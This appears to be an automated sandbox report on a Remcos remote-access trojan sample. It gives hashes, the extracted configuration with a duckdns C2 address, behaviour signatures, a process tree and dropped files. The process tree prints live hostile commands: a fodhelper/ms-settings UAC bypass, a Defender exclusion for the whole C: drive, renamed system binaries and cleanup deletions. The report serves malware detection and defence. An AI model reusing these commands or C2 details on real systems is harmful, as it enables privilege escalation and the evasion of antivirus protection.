Analysis

  • max time kernel
    142s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    25-07-2024 07:05

General

  • Target

    MalwareBazaar.exe

  • Size

    1.0MB

  • MD5

    c9849a6295f2527f02fd7b9a0664d401

  • SHA1

    9db9709ad5446150bff3c3a4d193979753904866

  • SHA256

    52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071

  • SHA512

    0f330d7bc780dbb1b9ef2bc92e018c29523aca29fda9e3f3f785e4c8f6fc06181e0e4c5bb5ad59f7a34409affa606d9d19c4f13981e8097c95778beef6cbd3ea

  • SSDEEP

    24576:E6Dlm/atGKanKxvdwEHfZTX0u/nJaRj9yin1mV/aJscLc:DDcCZfx+GQRjj1mj

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

127.0.0.1:52121

officerem.duckdns.org:52121

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-UNX1LL

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Executes dropped EXE 19 IoCs
  • Loads dropped DLL 9 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe
    "C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"
    1⤵
    • Loads dropped DLL
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2276
    • C:\Users\Public\Libraries\ngtepnyT.pif
      C:\Users\Public\Libraries\ngtepnyT.pif
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1752
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CEF3.tmp\CEF4.tmp\CEF5.bat C:\Users\Public\Libraries\ngtepnyT.pif"
        3⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:936
        • C:\Windows\System32\extrac32.exe
          C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
          4⤵
            PID:3028
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
            4⤵
            • Executes dropped EXE
            PID:2596
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
            4⤵
            • Executes dropped EXE
            PID:2988
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3068
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
              5⤵
                PID:2448
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2320
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                5⤵
                  PID:2396
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1384
                • C:\Windows\system32\extrac32.exe
                  extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                  5⤵
                    PID:2424
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  4⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:2576
                  • C:\Users\Public\xkn.exe
                    C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:2408
                    • C:\Users\Public\alpha.exe
                      "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      6⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious use of WriteProcessMemory
                      PID:2328
                      • C:\Users\Public\ger.exe
                        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                        7⤵
                        • Executes dropped EXE
                        • Modifies registry class
                        PID:2312
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:2324
                  • C:\Windows\system32\taskkill.exe
                    taskkill /F /IM SystemSettings.exe
                    5⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2336
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                  4⤵
                  • Executes dropped EXE
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:2476
                  • C:\Windows\system32\PING.EXE
                    ping 127.0.0.1 -n 2
                    5⤵
                    • System Network Configuration Discovery: Internet Connection Discovery
                    • Runs ping.exe
                    PID:2296
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                  4⤵
                  • Executes dropped EXE
                  PID:2872
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                  4⤵
                  • Executes dropped EXE
                  PID:1884
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                  4⤵
                  • Executes dropped EXE
                  PID:1732
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:2160
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:1488
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:1820
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:1028
            • C:\Windows\SysWOW64\extrac32.exe
              C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\\Users\\Public\\Libraries\\Tynpetgn.PIF
              2⤵
              • System Location Discovery: System Language Discovery
              PID:2272
            • C:\Windows\SysWOW64\SndVol.exe
              C:\Windows\System32\SndVol.exe
              2⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:1860

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\ProgramData\remcos\logs.dat

            Filesize

            222B

            MD5

            8a87409f64a997382c49769c7959d5cb

            SHA1

            9aa18f43371ee54293f32c9418b98ad957780d06

            SHA256

            8f116fdeb296c23b577ad90e0ed3d621149d61b2ac6c039df741ab3a0bfb8400

            SHA512

            c83a94de4474282f038237568058534f2fb72c474dc381e73b88bd780dad18717217a6e5ba02516a76d49eadad71970254c9071087288fb26339a905d02406df

          • C:\Users\Admin\AppData\Local\Temp\CEF3.tmp\CEF4.tmp\CEF5.bat

            Filesize

            1KB

            MD5

            e62f427202d3e5a3ba60ebe78567918c

            SHA1

            6ef0cd5ba6c871815fceb27ff095a7931452b334

            SHA256

            06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff

            SHA512

            e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6

          • C:\Users\Admin\AppData\Local\Temp\CabC9E6.tmp

            Filesize

            70KB

            MD5

            49aebf8cbd62d92ac215b2923fb1b9f5

            SHA1

            1723be06719828dda65ad804298d0431f6aff976

            SHA256

            b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

            SHA512

            bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

          • C:\Users\Admin\AppData\Local\Temp\TarCA37.tmp

            Filesize

            181KB

            MD5

            4ea6026cf93ec6338144661bf1202cd1

            SHA1

            a1dec9044f750ad887935a01430bf49322fbdcb7

            SHA256

            8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

            SHA512

            6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

          • C:\Users\Public\alpha.exe

            Filesize

            337KB

            MD5

            5746bd7e255dd6a8afa06f7c42c1ba41

            SHA1

            0f3c4ff28f354aede202d54e9d1c5529a3bf87d8

            SHA256

            db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386

            SHA512

            3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

          • C:\Users\Public\xkn.exe

            Filesize

            462KB

            MD5

            852d67a27e454bd389fa7f02a8cbe23f

            SHA1

            5330fedad485e0e4c23b2abe1075a1f984fde9fc

            SHA256

            a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

            SHA512

            327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

          • \Users\Public\Libraries\ngtepnyT.pif

            Filesize

            66KB

            MD5

            c116d3604ceafe7057d77ff27552c215

            SHA1

            452b14432fb5758b46f2897aeccd89f7c82a727d

            SHA256

            7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301

            SHA512

            9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

          • \Users\Public\ger.exe

            Filesize

            73KB

            MD5

            9d0b3066fe3d1fd345e86bc7bcced9e4

            SHA1

            e05984a6671fcfecbc465e613d72d42bda35fd90

            SHA256

            4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e

            SHA512

            d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

          • memory/1752-52-0x0000000000400000-0x000000000041A000-memory.dmp

            Filesize

            104KB

          • memory/1752-49-0x0000000000400000-0x0000000001400000-memory.dmp

            Filesize

            16.0MB

          • memory/1752-51-0x0000000000400000-0x0000000001400000-memory.dmp

            Filesize

            16.0MB

          • memory/1752-102-0x0000000000400000-0x0000000001400000-memory.dmp

            Filesize

            16.0MB

          • memory/1752-103-0x0000000000400000-0x000000000041A000-memory.dmp

            Filesize

            104KB

          • memory/1860-114-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-122-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-149-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-110-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-115-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-148-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-113-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-109-0x0000000002CF0000-0x0000000003CF0000-memory.dmp

            Filesize

            16.0MB

          • memory/1860-117-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-118-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-120-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-119-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-121-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-146-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-124-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-126-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-127-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-145-0x0000000015190000-0x00000000151A9000-memory.dmp

            Filesize

            100KB

          • memory/1860-134-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-135-0x00000000150B0000-0x0000000015132000-memory.dmp

            Filesize

            520KB

          • memory/1860-141-0x0000000015190000-0x00000000151A9000-memory.dmp

            Filesize

            100KB

          • memory/1860-144-0x0000000015190000-0x00000000151A9000-memory.dmp

            Filesize

            100KB

          • memory/2276-1-0x0000000000400000-0x000000000050C000-memory.dmp

            Filesize

            1.0MB

          • memory/2276-0-0x0000000000220000-0x0000000000221000-memory.dmp

            Filesize

            4KB

          • memory/2408-83-0x0000000001D60000-0x0000000001D68000-memory.dmp

            Filesize

            32KB

          • memory/2408-82-0x000000001B160000-0x000000001B442000-memory.dmp

            Filesize

            2.9MB